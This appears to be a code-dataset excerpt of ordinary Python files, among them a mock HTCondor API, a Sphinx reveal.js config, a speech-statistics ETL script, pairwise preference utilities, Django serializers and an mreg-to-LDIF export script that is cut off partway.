| en | 0.726333 | # PATH TO ALL IMAGES # global basedir_celeba, basedir_cartoon, image_paths_celeba, image_paths_cartoon, target_size # basedir_cartoon = './Datasets/cartoon_set' # images_dir_cartoon = os.path.join(basedir_cartoon,'img') # how to find frontal human faces in an image using 68 landmarks. These are points on the face such as the corners of the mouth, along the eyebrows, on the eyes, and so forth. # The face detector we use is made using the classic Histogram of Oriented # Gradients (HOG) feature combined with a linear classifier, an image pyramid, # and sliding window detection scheme. The pose estimator was created by # using dlib's implementation of the paper: # One Millisecond Face Alignment with an Ensemble of Regression Trees by # <NAME> and <NAME>, CVPR 2014 # and was trained on the iBUG 300-W face landmark dataset (see https://ibug.doc.ic.ac.uk/resources/facial-point-annotations/): # <NAME>, <NAME>, <NAME>, <NAME>, <NAME>. # 300 faces In-the-wild challenge: Database and results. # Image and Vision Computing (IMAVIS), Special Issue on Facial Landmark Localisation "In-The-Wild". 2016. # initialize the list of (x, y)-coordinates # loop over all facial landmarks and convert them # to a 2-tuple of (x, y)-coordinates # return the list of (x, y)-coordinates # take a bounding predicted by dlib and convert it # to the format (x, y, w, h) as we would normally do # with OpenCV # return a tuple of (x, y, w, h) # in this function we load the image, detect the landmarks of the face, and then return the image and the landmarks # load the input image, resize it, and convert it to grayscale # detect faces in the grayscale image # loop over the face detections # determine the facial landmarks for the face region, then # convert the facial landmark (x, y)-coordinates to a NumPy # array # convert dlib's rectangle to a OpenCV-style bounding box # [i.e., (x, y, w, h)], # (x, y, w, h) = face_utils.rect_to_bb(rect) # find largest face and keep This funtion extracts the landmarks features for all images in the folder 'Datasets/celeba/img'. It also extracts the gender label for each image. :return: landmark_features: an array containing 68 landmark points for each image in which a face was detected gender_labels: an array containing the gender label (male=0 and female=1) for each image in which a face was detected # load image # def extract_features_labels_cartoon(): # image_paths_cartoon = [os.path.join(images_dir_cartoon, l) for l in os.listdir(images_dir_cartoon)] # target_size = None # labels_file = open(os.path.join(basedir_cartoon, labels_filename), 'r') # lines = labels_file.readlines() # face_shape_labels = {line.split('\t')[-1].split('\n')[0] : int(line.split('\t')[2]) for line in lines[1:]} # # eye_color_labels = {line.split('\t')[-1].split('\n')[0] : int(line.split('\t')[2]) for line in lines[1:]} # # if os.path.isdir(images_dir_cartoon): # all_features = [] # all_labels_face_shape = [] # all_labels_eye_color = [] # for img_path in image_paths_cartoon: # file_name = img_path.split('.')[1].split('/')[-1] # # img = image.img_to_array(image.load_img(img_path, # target_size=(128,128), # interpolation='bicubic')) # features, _ = run_dlib_shape(img) # if features is not None: # all_features.append(features) # all_labels_face_shape.append(face_shape_labels[file_name+'.png']) # all_labels_eye_color.append(eye_color_labels[file_name+'.png']) # # landmark_features = np.array(all_features) # face_shape_labels = np.array(all_labels_face_shape) # eye_color_labels = np.array(all_labels_eye_color) # return landmark_features, face_shape_labels, eye_color_labels | 2.953247 | 3 |
src/python/WMQuality/Emulators/PyCondorAPI/MockPyCondorAPI.py | khurtado/WMCore | 21 | 6623609 | from __future__ import (division, print_function)
from builtins import object
class MockPyCondorAPI(object):
"""
Version of Services/PyCondor intended to be used with mock or unittest.mock
"""
def __init__(self, *args, **kwargs):
print("Using MockPyCondorAPI")
def getCondorJobsSummary(self):
"""
Mock a condor query for the job summary
"""
return []
def getCondorJobs(self, constraint='true', attrList=None, limit=-1, opts="SummaryOnly"):
"""
Given a job/schedd constraint, return a list of jobs attributes
or None if the query to condor fails.
"""
return None
def isScheddOverloaded(self):
"""check whether job limit is reached in local schedd"""
return False
| from __future__ import (division, print_function)
from builtins import object
class MockPyCondorAPI(object):
"""
Version of Services/PyCondor intended to be used with mock or unittest.mock
"""
def __init__(self, *args, **kwargs):
print("Using MockPyCondorAPI")
def getCondorJobsSummary(self):
"""
Mock a condor query for the job summary
"""
return []
def getCondorJobs(self, constraint='true', attrList=None, limit=-1, opts="SummaryOnly"):
"""
Given a job/schedd constraint, return a list of jobs attributes
or None if the query to condor fails.
"""
return None
def isScheddOverloaded(self):
"""check whether job limit is reached in local schedd"""
return False
| en | 0.78907 | Version of Services/PyCondor intended to be used with mock or unittest.mock Mock a condor query for the job summary Given a job/schedd constraint, return a list of jobs attributes or None if the query to condor fails. check whether job limit is reached in local schedd | 2.945413 | 3 |
docs/conf.py | titilambert/sphinxjp.themes.revealjs | 1 | 6623610 | # -*- coding: utf-8 -*-
#
# -- General configuration -----------------------------------------------------
source_suffix = '.rst'
master_doc = 'index'
project = u'sphinx theme for reveal.js'
copyright = u'2013, tell-k'
version = '0.1.1'
# -- Options for HTML output ---------------------------------------------------
extensions = ['sphinxjp.themes.revealjs']
html_theme = 'revealjs'
html_use_index = False
# -- HTML theme options for `revealjs` style -------------------------------------
html_theme_options = {
# Set the lang attribute of the html tag. Defaults to "ja"
"lang": "ja",
# The "normal" size of the presentation, aspect ratio will be preserved
# when the presentation is scaled to fit different resolutions
"width": 960,
"height": 700,
# Factor of the display size that should remain empty around the content
"margin": 0.1,
# Bounds for smallest/largest possible scale to apply to content
"min_scale": 0.2,
"max_scale": 1.0,
# Display controls in the bottom right corner
"controls": True,
# Display a presentation progress bar
"progress": True,
# Push each slide change to the browser history
"history": True,
# Enable keyboard shortcuts for navigation
"keyboard": True,
# Enable the slide overview mode
"overview": True,
# Vertical centring of slides
"center": True,
# Enables touch navigation on devices with touch input
"touch": True,
# Loop the presentation
"loop": False,
# Change the presentation direction to be RTL
"rtl": False,
# Turns fragments on and off globally
"fragments": True,
# Number of milliseconds between automatically proceeding to the
# next slide, disabled when set to 0, this value can be overwritten
# by using a data-autoslide attribute on your slides
"auto_slide": 0,
# Enable slide navigation via mouse wheel
"mouse_wheel": False,
# Apply a 3D roll to links on hover
"rolling_links": True,
# Opens links in an iframe preview overlay
"preview_links": False,
# Theme (default/beige/moon/night/serif/simple/sky/solarized)
"theme": "default",
# Transition style (default/cube/page/concave/zoom/linear/fade/none)
"transition": "default",
# Transition speed (default/fast/slow)
"transition_speed": "default",
# Transition style for full page slide backgrounds (default/linear)
"background_transition": "default",
# Enable plguin javascript for reveal.js
"plugin_list": ["search/search.js", "remotes/remotes.js"],
}
| # -*- coding: utf-8 -*-
#
# -- General configuration -----------------------------------------------------
source_suffix = '.rst'
master_doc = 'index'
project = u'sphinx theme for reveal.js'
copyright = u'2013, tell-k'
version = '0.1.1'
# -- Options for HTML output ---------------------------------------------------
extensions = ['sphinxjp.themes.revealjs']
html_theme = 'revealjs'
html_use_index = False
# -- HTML theme options for `revealjs` style -------------------------------------
html_theme_options = {
# Set the lang attribute of the html tag. Defaults to "ja"
"lang": "ja",
# The "normal" size of the presentation, aspect ratio will be preserved
# when the presentation is scaled to fit different resolutions
"width": 960,
"height": 700,
# Factor of the display size that should remain empty around the content
"margin": 0.1,
# Bounds for smallest/largest possible scale to apply to content
"min_scale": 0.2,
"max_scale": 1.0,
# Display controls in the bottom right corner
"controls": True,
# Display a presentation progress bar
"progress": True,
# Push each slide change to the browser history
"history": True,
# Enable keyboard shortcuts for navigation
"keyboard": True,
# Enable the slide overview mode
"overview": True,
# Vertical centring of slides
"center": True,
# Enables touch navigation on devices with touch input
"touch": True,
# Loop the presentation
"loop": False,
# Change the presentation direction to be RTL
"rtl": False,
# Turns fragments on and off globally
"fragments": True,
# Number of milliseconds between automatically proceeding to the
# next slide, disabled when set to 0, this value can be overwritten
# by using a data-autoslide attribute on your slides
"auto_slide": 0,
# Enable slide navigation via mouse wheel
"mouse_wheel": False,
# Apply a 3D roll to links on hover
"rolling_links": True,
# Opens links in an iframe preview overlay
"preview_links": False,
# Theme (default/beige/moon/night/serif/simple/sky/solarized)
"theme": "default",
# Transition style (default/cube/page/concave/zoom/linear/fade/none)
"transition": "default",
# Transition speed (default/fast/slow)
"transition_speed": "default",
# Transition style for full page slide backgrounds (default/linear)
"background_transition": "default",
# Enable plguin javascript for reveal.js
"plugin_list": ["search/search.js", "remotes/remotes.js"],
}
| en | 0.599509 | # -*- coding: utf-8 -*- # # -- General configuration ----------------------------------------------------- # -- Options for HTML output --------------------------------------------------- # -- HTML theme options for `revealjs` style ------------------------------------- # Set the lang attribute of the html tag. Defaults to "ja" # The "normal" size of the presentation, aspect ratio will be preserved # when the presentation is scaled to fit different resolutions # Factor of the display size that should remain empty around the content # Bounds for smallest/largest possible scale to apply to content # Display controls in the bottom right corner # Display a presentation progress bar # Push each slide change to the browser history # Enable keyboard shortcuts for navigation # Enable the slide overview mode # Vertical centring of slides # Enables touch navigation on devices with touch input # Loop the presentation # Change the presentation direction to be RTL # Turns fragments on and off globally # Number of milliseconds between automatically proceeding to the # next slide, disabled when set to 0, this value can be overwritten # by using a data-autoslide attribute on your slides # Enable slide navigation via mouse wheel # Apply a 3D roll to links on hover # Opens links in an iframe preview overlay # Theme (default/beige/moon/night/serif/simple/sky/solarized) # Transition style (default/cube/page/concave/zoom/linear/fade/none) # Transition speed (default/fast/slow) # Transition style for full page slide backgrounds (default/linear) # Enable plguin javascript for reveal.js | 1.232244 | 1 |
src/etl/speech_stats.py | dmegbert/prez-speech | 0 | 6623611 | from concurrent.futures import ThreadPoolExecutor, as_completed
from statistics import median
from psycopg2.extras import execute_values
import textstat
from sklearn.feature_extraction.text import CountVectorizer
from textblob import TextBlob
from src.db_utils import safe_cursor
def get_speech_stats(speech_id):
with safe_cursor() as cur:
cur.execute('SELECT id, president_id, transcript FROM speeches WHERE id = %s', (speech_id,))
raw_speech = cur.fetchone()
speech = {'speech_id': raw_speech.id, 'president_id': raw_speech.president_id, 'speech': raw_speech.transcript}
raw_text = speech['speech']
sp_blob = TextBlob(raw_text)
speech['polarity'], speech['subjectivity'] = sp_blob.sentiment
speech['word_count'] = len(sp_blob.words)
speech['sentence_count'] = len(sp_blob.sentences)
speech['median_sentence_length'] = median([len(sentence) for sentence in sp_blob.sentences])
common_words = get_top_n_words([raw_text], 50, (1, 1))
unigrams_dict = _format_unigrams(common_words, speech['president_id'], speech['speech_id'])
speech['grade_reading_level'] = textstat.coleman_liau_index(raw_text)
return speech, unigrams_dict
def _format_unigrams(common_words, president_id, speech_id):
speech_constants = {'president_id': president_id, 'speech_id': speech_id}
return [{'unigram': word, 'count': ct, **speech_constants} for word, ct in common_words]
def get_speeches():
with ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(get_speech_stats, speech_id) for speech_id in range(1, 1022)]
for future in as_completed(futures):
try:
load_speech_stats(future.result())
except Exception as exc:
print(exc)
def load_speech_stats(stats_and_unigrams):
stats, unigrams = stats_and_unigrams
with safe_cursor() as cur_2:
execute_values(
cur_2,
'INSERT INTO unigrams'
'(president_id, speech_id, unigram, occurrence)'
'VALUES %s',
unigrams,
'(%(president_id)s, %(speech_id)s, %(unigram)s, %(count)s)'
)
with safe_cursor() as cur:
cur.execute(
'INSERT INTO speech_stats'
'(speech_id, polarity, subjectivity, word_count,'
'sentence_count, president_id, grade_reading_level) '
'VALUES (%(speech_id)s, %(polarity)s, %(subjectivity)s,'
'%(word_count)s, %(sentence_count)s, %(president_id)s, %(grade_reading_level)s)',
stats
)
def get_top_n_words(corpus, n=20, ngram_range=(1, 1)):
vec = CountVectorizer(strip_accents='unicode', stop_words='english', ngram_range=ngram_range).fit(corpus)
bag_of_words = vec.transform(corpus)
sum_words = bag_of_words.sum(axis=0)
words_freq = [(word, int(sum_words[0, idx])) for word, idx in vec.vocabulary_.items()]
words_freq = sorted(words_freq, key=lambda x: x[1], reverse=True)
return words_freq[:n]
| from concurrent.futures import ThreadPoolExecutor, as_completed
from statistics import median
from psycopg2.extras import execute_values
import textstat
from sklearn.feature_extraction.text import CountVectorizer
from textblob import TextBlob
from src.db_utils import safe_cursor
def get_speech_stats(speech_id):
with safe_cursor() as cur:
cur.execute('SELECT id, president_id, transcript FROM speeches WHERE id = %s', (speech_id,))
raw_speech = cur.fetchone()
speech = {'speech_id': raw_speech.id, 'president_id': raw_speech.president_id, 'speech': raw_speech.transcript}
raw_text = speech['speech']
sp_blob = TextBlob(raw_text)
speech['polarity'], speech['subjectivity'] = sp_blob.sentiment
speech['word_count'] = len(sp_blob.words)
speech['sentence_count'] = len(sp_blob.sentences)
speech['median_sentence_length'] = median([len(sentence) for sentence in sp_blob.sentences])
common_words = get_top_n_words([raw_text], 50, (1, 1))
unigrams_dict = _format_unigrams(common_words, speech['president_id'], speech['speech_id'])
speech['grade_reading_level'] = textstat.coleman_liau_index(raw_text)
return speech, unigrams_dict
def _format_unigrams(common_words, president_id, speech_id):
speech_constants = {'president_id': president_id, 'speech_id': speech_id}
return [{'unigram': word, 'count': ct, **speech_constants} for word, ct in common_words]
def get_speeches():
with ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(get_speech_stats, speech_id) for speech_id in range(1, 1022)]
for future in as_completed(futures):
try:
load_speech_stats(future.result())
except Exception as exc:
print(exc)
def load_speech_stats(stats_and_unigrams):
stats, unigrams = stats_and_unigrams
with safe_cursor() as cur_2:
execute_values(
cur_2,
'INSERT INTO unigrams'
'(president_id, speech_id, unigram, occurrence)'
'VALUES %s',
unigrams,
'(%(president_id)s, %(speech_id)s, %(unigram)s, %(count)s)'
)
with safe_cursor() as cur:
cur.execute(
'INSERT INTO speech_stats'
'(speech_id, polarity, subjectivity, word_count,'
'sentence_count, president_id, grade_reading_level) '
'VALUES (%(speech_id)s, %(polarity)s, %(subjectivity)s,'
'%(word_count)s, %(sentence_count)s, %(president_id)s, %(grade_reading_level)s)',
stats
)
def get_top_n_words(corpus, n=20, ngram_range=(1, 1)):
vec = CountVectorizer(strip_accents='unicode', stop_words='english', ngram_range=ngram_range).fit(corpus)
bag_of_words = vec.transform(corpus)
sum_words = bag_of_words.sum(axis=0)
words_freq = [(word, int(sum_words[0, idx])) for word, idx in vec.vocabulary_.items()]
words_freq = sorted(words_freq, key=lambda x: x[1], reverse=True)
return words_freq[:n]
| none | 1 | 2.70919 | 3 | |
operations/operation.py | zylamarek/dataset-tools | 0 | 6623612 | from dataset import Dataset
class Operation:
def __init__(self, path_in, prepend_name='', is_sequence=False, keep_filenames=False, cache_out=False):
self.prepend_name = prepend_name
if path_in[-1] == '/' or path_in[-1] == '\\':
path_in = path_in[:-1]
self.path_in = path_in
self.data_in = Dataset(path_in)
self.path_out = self.path_in + '_' + self.name()
self.data_out = Dataset(self.path_out, cache=cache_out)
self.is_sequence = is_sequence
self.keep_filenames = keep_filenames
self.cache_out = cache_out
def name(self):
return self.prepend_name + self.__class__.__name__
def apply(self):
raise NotImplementedError
| from dataset import Dataset
class Operation:
def __init__(self, path_in, prepend_name='', is_sequence=False, keep_filenames=False, cache_out=False):
self.prepend_name = prepend_name
if path_in[-1] == '/' or path_in[-1] == '\\':
path_in = path_in[:-1]
self.path_in = path_in
self.data_in = Dataset(path_in)
self.path_out = self.path_in + '_' + self.name()
self.data_out = Dataset(self.path_out, cache=cache_out)
self.is_sequence = is_sequence
self.keep_filenames = keep_filenames
self.cache_out = cache_out
def name(self):
return self.prepend_name + self.__class__.__name__
def apply(self):
raise NotImplementedError
| none | 1 | 2.890172 | 3 | |
house/admin.py | SnailJin/house | 0 | 6623613 | <reponame>SnailJin/house
# -*- coding: utf-8 -*-
'''
Created on 2015年4月20日
@author: jin
'''
from django.contrib import admin
from django.contrib.auth.admin import UserAdmin
from django.contrib.auth.models import User
from house.models import UserProfile
class UserProfileAdmin(admin.ModelAdmin):
pass
admin.site.register(UserProfile, UserProfileAdmin) | # -*- coding: utf-8 -*-
'''
Created on 2015年4月20日
@author: jin
'''
from django.contrib import admin
from django.contrib.auth.admin import UserAdmin
from django.contrib.auth.models import User
from house.models import UserProfile
class UserProfileAdmin(admin.ModelAdmin):
pass
admin.site.register(UserProfile, UserProfileAdmin) | zh | 0.643388 | # -*- coding: utf-8 -*- Created on 2015年4月20日 @author: jin | 1.60344 | 2 |
src/pairwise.py | sawyerWeld/PrefGAN | 0 | 6623614 | # pairwise.py
# The goal of this class is to take a batch of preferences and return either
# a matrix of their pairwise probabilities or a flattened vector of them
import readPreflib as pref
import numpy as np
import math
# Acts on a set of SOI vote tuples
def pairwise_from_votes(votes, num_candidates):
n = num_candidates
occurance_matrix = np.full(shape = (n,n), dtype = int, fill_value = 0)
prob_matrix = np.full(shape = (n,n), dtype = float, fill_value = 0)
for vote_ in votes:
num_occurances, vote = vote_
# print(vote)
for i, v in enumerate(vote):
after = vote[i+1:]
# print('~',after)
if after:
for a in after:
occurance_matrix[v-1][a-1] += num_occurances
for i, inner in enumerate(occurance_matrix):
for j, num in enumerate(inner):
if i != j:
a_succ_b = occurance_matrix[i][j]
b_succ_a = occurance_matrix[j][i]
# print(a_succ_b, b_succ_a)
prob_matrix[i][j] = a_succ_b / (a_succ_b + b_succ_a)
prob_matrix = np.triu(prob_matrix, k = 1)
return prob_matrix
# Acts on a single np array
# This one gives a negative one if the 1 would go in the lower triangular bit
def vote_vector_to_pairwise(vote):
n = len(vote)
occurance_matrix = np.full(shape = (n,n), dtype = int, fill_value = 0)
for i, v in enumerate(vote):
after = vote[i+1:]
for a in after:
if a != 0:
if v < a:
occurance_matrix[v-1][a-1] = 1
else:
occurance_matrix[a-1][v-1] = -1
return occurance_matrix
# previous iterations did not think about the fact that
# a vote [1 0 0] does not indicate nothing, it indicates
# that 1 succ 2 and 1 succ 3
def pairwise_matrix_singular(vote):
n = len(vote)
occurance_matrix = np.full(shape = (n,n), dtype = int, fill_value = 0)
for i, v in enumerate(vote):
if v == 0:
continue
# list of alts that the current alt is better than
better_than = [i+1 for i in range(n)]
before = vote[:i+1]
for b in before:
better_than.remove(b)
for p in better_than:
occurance_matrix[v-1][p-1] = 1
occurance_matrix[p-1][v-1] = -1
return occurance_matrix
# Converts an upper triangular matrix to a vector
def matrix_to_vec(matrix):
vec = []
n = len(matrix[0])
vec_length = n * (n-1) / 2
offset = 1
for inner in matrix:
vec.extend(inner[offset:])
offset += 1
return np.array(vec)
def vec_to_matrix(vec_):
data_type = vec_.dtype
vec = list(vec_)
m = len(vec)
n = math.floor(math.sqrt(2*m))
prob_matrix = np.full(shape = (n+1,n+1), dtype = data_type, fill_value = 0)
row_offset = 1
for row in prob_matrix:
for i in range(row_offset,n+1):
row[i] = vec.pop(0)
row_offset += 1
return prob_matrix
# Note as I write thesis: this is the one that gets used
def process_vote(vote):
mat = pairwise_matrix_singular(vote)
# print(mat)
return matrix_to_vec(mat)
# deprecated?
# This is what should be used from preference loader
# just a wrapper function
def process_vote_depr(vote):
mat = vote_vector_to_pairwise(vote)
vec = matrix_to_vec(mat)
return vec
if __name__ == '__main__':
print('Executing main thread in pairwise.py')
np.set_printoptions(precision=3)
candidates, votes = pref.readinSOIwfreqs('data_in/Practice/ED-02-Logo.soi')
a = np.array([3, 2, 1, 0, 0, 0])
vec = process_vote(a)
print(vec)
print('mat now')
#print(matrix_to_vec(vec))
# prob = pairwise_from_votes(votes[0], len(candidates))
# print(prob)
# vec = matrix_to_vec(prob)
# print(vec)
print(vec_to_matrix(vec))
print(process_vote(a)) | # pairwise.py
# The goal of this class is to take a batch of preferences and return either
# a matrix of their pairwise probabilities or a flattened vector of them
import readPreflib as pref
import numpy as np
import math
# Acts on a set of SOI vote tuples
def pairwise_from_votes(votes, num_candidates):
n = num_candidates
occurance_matrix = np.full(shape = (n,n), dtype = int, fill_value = 0)
prob_matrix = np.full(shape = (n,n), dtype = float, fill_value = 0)
for vote_ in votes:
num_occurances, vote = vote_
# print(vote)
for i, v in enumerate(vote):
after = vote[i+1:]
# print('~',after)
if after:
for a in after:
occurance_matrix[v-1][a-1] += num_occurances
for i, inner in enumerate(occurance_matrix):
for j, num in enumerate(inner):
if i != j:
a_succ_b = occurance_matrix[i][j]
b_succ_a = occurance_matrix[j][i]
# print(a_succ_b, b_succ_a)
prob_matrix[i][j] = a_succ_b / (a_succ_b + b_succ_a)
prob_matrix = np.triu(prob_matrix, k = 1)
return prob_matrix
# Acts on a single np array
# This one gives a negative one if the 1 would go in the lower triangular bit
def vote_vector_to_pairwise(vote):
n = len(vote)
occurance_matrix = np.full(shape = (n,n), dtype = int, fill_value = 0)
for i, v in enumerate(vote):
after = vote[i+1:]
for a in after:
if a != 0:
if v < a:
occurance_matrix[v-1][a-1] = 1
else:
occurance_matrix[a-1][v-1] = -1
return occurance_matrix
# previous iterations did not think about the fact that
# a vote [1 0 0] does not indicate nothing, it indicates
# that 1 succ 2 and 1 succ 3
def pairwise_matrix_singular(vote):
n = len(vote)
occurance_matrix = np.full(shape = (n,n), dtype = int, fill_value = 0)
for i, v in enumerate(vote):
if v == 0:
continue
# list of alts that the current alt is better than
better_than = [i+1 for i in range(n)]
before = vote[:i+1]
for b in before:
better_than.remove(b)
for p in better_than:
occurance_matrix[v-1][p-1] = 1
occurance_matrix[p-1][v-1] = -1
return occurance_matrix
# Converts an upper triangular matrix to a vector
def matrix_to_vec(matrix):
vec = []
n = len(matrix[0])
vec_length = n * (n-1) / 2
offset = 1
for inner in matrix:
vec.extend(inner[offset:])
offset += 1
return np.array(vec)
def vec_to_matrix(vec_):
data_type = vec_.dtype
vec = list(vec_)
m = len(vec)
n = math.floor(math.sqrt(2*m))
prob_matrix = np.full(shape = (n+1,n+1), dtype = data_type, fill_value = 0)
row_offset = 1
for row in prob_matrix:
for i in range(row_offset,n+1):
row[i] = vec.pop(0)
row_offset += 1
return prob_matrix
# Note as I write thesis: this is the one that gets used
def process_vote(vote):
mat = pairwise_matrix_singular(vote)
# print(mat)
return matrix_to_vec(mat)
# deprecated?
# This is what should be used from preference loader
# just a wrapper function
def process_vote_depr(vote):
mat = vote_vector_to_pairwise(vote)
vec = matrix_to_vec(mat)
return vec
if __name__ == '__main__':
print('Executing main thread in pairwise.py')
np.set_printoptions(precision=3)
candidates, votes = pref.readinSOIwfreqs('data_in/Practice/ED-02-Logo.soi')
a = np.array([3, 2, 1, 0, 0, 0])
vec = process_vote(a)
print(vec)
print('mat now')
#print(matrix_to_vec(vec))
# prob = pairwise_from_votes(votes[0], len(candidates))
# print(prob)
# vec = matrix_to_vec(prob)
# print(vec)
print(vec_to_matrix(vec))
print(process_vote(a)) | en | 0.83887 | # pairwise.py # The goal of this class is to take a batch of preferences and return either # a matrix of their pairwise probabilities or a flattened vector of them # Acts on a set of SOI vote tuples # print(vote) # print('~',after) # print(a_succ_b, b_succ_a) # Acts on a single np array # This one gives a negative one if the 1 would go in the lower triangular bit # previous iterations did not think about the fact that # a vote [1 0 0] does not indicate nothing, it indicates # that 1 succ 2 and 1 succ 3 # list of alts that the current alt is better than # Converts an upper triangular matrix to a vector # Note as I write thesis: this is the one that gets used # print(mat) # deprecated? # This is what should be used from preference loader # just a wrapper function #print(matrix_to_vec(vec)) # prob = pairwise_from_votes(votes[0], len(candidates)) # print(prob) # vec = matrix_to_vec(prob) # print(vec) | 3.226279 | 3 |
profiles_api/serializers.py | UsamaNaseerBaig/django_rest_api | 0 | 6623615 | <reponame>UsamaNaseerBaig/django_rest_api<filename>profiles_api/serializers.py
from rest_framework import serializers
from profiles_api import models
class HelloSerializer(serializers.Serializer):
"""Serializers namefield for testing our api view """
name = serializers.CharField(max_length = 10)
class UserProfileSerializer(serializers.ModelSerializer):
"""Serializer a user profile Object"""
class Meta:
model = models.UserProfile
fields = ('id','email','name','password')
extra_kwargs = {
'password': {
'write_only':True,
'style': {'input_type': 'password'}
}
}
def create(self, validated_data):
"""Create and return a new user"""
user = models.UserProfile.objects.create_user(
email = validated_data['email'],
name = validated_data['name'],
password = validated_data['password'],
)
return user
class ProfileFeedItemSerializer(serializers.ModelSerializer):
"""Serializer profile feed item"""
class Meta:
model = models.ProfileFeedItem
fields = ('id','user_profile','status_text','created_on')
extra_kwargs = {'user_profile':{'read_only':True}}
| from rest_framework import serializers
from profiles_api import models
class HelloSerializer(serializers.Serializer):
"""Serializers namefield for testing our api view """
name = serializers.CharField(max_length = 10)
class UserProfileSerializer(serializers.ModelSerializer):
"""Serializer a user profile Object"""
class Meta:
model = models.UserProfile
fields = ('id','email','name','password')
extra_kwargs = {
'password': {
'write_only':True,
'style': {'input_type': 'password'}
}
}
def create(self, validated_data):
"""Create and return a new user"""
user = models.UserProfile.objects.create_user(
email = validated_data['email'],
name = validated_data['name'],
password = validated_data['password'],
)
return user
class ProfileFeedItemSerializer(serializers.ModelSerializer):
"""Serializer profile feed item"""
class Meta:
model = models.ProfileFeedItem
fields = ('id','user_profile','status_text','created_on')
extra_kwargs = {'user_profile':{'read_only':True}} | en | 0.707246 | Serializers namefield for testing our api view Serializer a user profile Object Create and return a new user Serializer profile feed item | 2.58332 | 3 |
hosts-ldif/hosts-ldif.py | hfuru/mreg-tools | 0 | 6623616 | import argparse
import configparser
import io
import os
import pathlib
import sys
import fasteners
import requests
parentdir = pathlib.Path(__file__).resolve().parent.parent
sys.path.append(str(parentdir))
import common.connection
import common.utils
from common.utils import error, updated_entries
from common.LDIFutils import entry_string, make_head_entry
def create_ldif(hosts, srvs, ignore_size_change):
def _base_entry(name):
return {
'dn': f'host={name},{dn}',
'host': name,
'objectClass': 'uioHostinfo',
}
def _write(entry):
f.write(entry_string(entry))
f = io.StringIO()
dn = cfg['ldif']['dn']
_write(make_head_entry(cfg))
for i in hosts:
entry = _base_entry(i["name"])
entry.update({
'uioHostComment': i['comment'],
'uioHostContact': i['contact'],
})
mac = {ip['macaddress'] for ip in i['ipaddresses'] if ip['macaddress']}
if mac:
entry['uioHostMacAddr'] = sorted(mac)
_write(entry)
for cinfo in i["cnames"]:
_write(_base_entry(cinfo["name"]))
for i in srvs:
_write(_base_entry(i["name"]))
try:
common.utils.write_file(cfg['default']['filename'], f,
ignore_size_change=ignore_size_change)
except common.utils.TooManyLineChanges as e:
error(e.message)
@common.utils.timing
def get_entries(url):
if '?' in url:
url += '&'
else:
url += '?'
url += 'page_size=1000&ordering=name'
return conn.get_list(url)
@common.utils.timing
def hosts_ldif(args):
for i in ('destdir', 'workdir',):
common.utils.mkdir(cfg['default'][i])
def _url(path):
url = requests.compat.urljoin(cfg["mreg"]["url"], path)
if cfg.has_option("mreg", "zone"):
zones = cfg["mreg"]["zone"]
url += f"?zone__name__in={zones}"
return url
hosts_url = _url("/api/v1/hosts/")
srvs_url = _url("/api/v1/srvs/")
lockfile = os.path.join(cfg['default']['workdir'], __file__ + 'lockfile')
lock = fasteners.InterProcessLock(lockfile)
if lock.acquire(blocking=False):
if updated_entries(conn, hosts_url, 'hosts.json') or \
updated_entries(conn, srvs_url, 'srvs.json') or args.force_check:
hosts = get_entries(hosts_url)
srvs = get_entries(srvs_url)
create_ldif(hosts, srvs, args.ignore_size_change)
if 'postcommand' in cfg['default']:
common.utils.run_postcommand()
else:
logger.info("No updated hosts")
lock.release()
else:
logger.warning(f"Could not lock on {lockfile}")
def main():
global cfg, conn, logger
parser = argparse.ArgumentParser(description="Export hosts from mreg as a ldif.")
parser.add_argument("--config",
default="hosts-ldif.conf",
help="path to config file (default: %(default)s)")
parser.add_argument('--force-check',
action='store_true',
help='force refresh of data from mreg')
parser.add_argument('--ignore-size-change',
action='store_true',
help='ignore size changes')
args = parser.parse_args()
cfg = configparser.ConfigParser()
cfg.optionxform = str
cfg.read(args.config)
for i in ('default', 'mreg', 'ldif'):
if i not in cfg:
error(f"Missing section {i} in config file", os.EX_CONFIG)
if 'filename' not in cfg['default']:
error(f"Missing 'filename' in default section in config file", os.EX_CONFIG)
common.utils.cfg = cfg
logger = common.utils.getLogger()
conn = common.connection.Connection(cfg['mreg'])
hosts_ldif(args)
if __name__ == '__main__':
main()
| import argparse
import configparser
import io
import os
import pathlib
import sys
import fasteners
import requests
parentdir = pathlib.Path(__file__).resolve().parent.parent
sys.path.append(str(parentdir))
import common.connection
import common.utils
from common.utils import error, updated_entries
from common.LDIFutils import entry_string, make_head_entry
def create_ldif(hosts, srvs, ignore_size_change):
def _base_entry(name):
return {
'dn': f'host={name},{dn}',
'host': name,
'objectClass': 'uioHostinfo',
}
def _write(entry):
f.write(entry_string(entry))
f = io.StringIO()
dn = cfg['ldif']['dn']
_write(make_head_entry(cfg))
for i in hosts:
entry = _base_entry(i["name"])
entry.update({
'uioHostComment': i['comment'],
'uioHostContact': i['contact'],
})
mac = {ip['macaddress'] for ip in i['ipaddresses'] if ip['macaddress']}
if mac:
entry['uioHostMacAddr'] = sorted(mac)
_write(entry)
for cinfo in i["cnames"]:
_write(_base_entry(cinfo["name"]))
for i in srvs:
_write(_base_entry(i["name"]))
try:
common.utils.write_file(cfg['default']['filename'], f,
ignore_size_change=ignore_size_change)
except common.utils.TooManyLineChanges as e:
error(e.message)
@common.utils.timing
def get_entries(url):
if '?' in url:
url += '&'
else:
url += '?'
url += 'page_size=1000&ordering=name'
return conn.get_list(url)
@common.utils.timing
def hosts_ldif(args):
for i in ('destdir', 'workdir',):
common.utils.mkdir(cfg['default'][i])
def _url(path):
url = requests.compat.urljoin(cfg["mreg"]["url"], path)
if cfg.has_option("mreg", "zone"):
zones = cfg["mreg"]["zone"]
url += f"?zone__name__in={zones}"
return url
hosts_url = _url("/api/v1/hosts/")
srvs_url = _url("/api/v1/srvs/")
lockfile = os.path.join(cfg['default']['workdir'], __file__ + 'lockfile')
lock = fasteners.InterProcessLock(lockfile)
if lock.acquire(blocking=False):
if updated_entries(conn, hosts_url, 'hosts.json') or \
updated_entries(conn, srvs_url, 'srvs.json') or args.force_check:
hosts = get_entries(hosts_url)
srvs = get_entries(srvs_url)
create_ldif(hosts, srvs, args.ignore_size_change)
if 'postcommand' in cfg['default']:
common.utils.run_postcommand()
else:
logger.info("No updated hosts")
lock.release()
else:
logger.warning(f"Could not lock on {lockfile}")
def main():
global cfg, conn, logger
parser = argparse.ArgumentParser(description="Export hosts from mreg as a ldif.")
parser.add_argument("--config",
default="hosts-ldif.conf",
help="path to config file (default: %(default)s)")
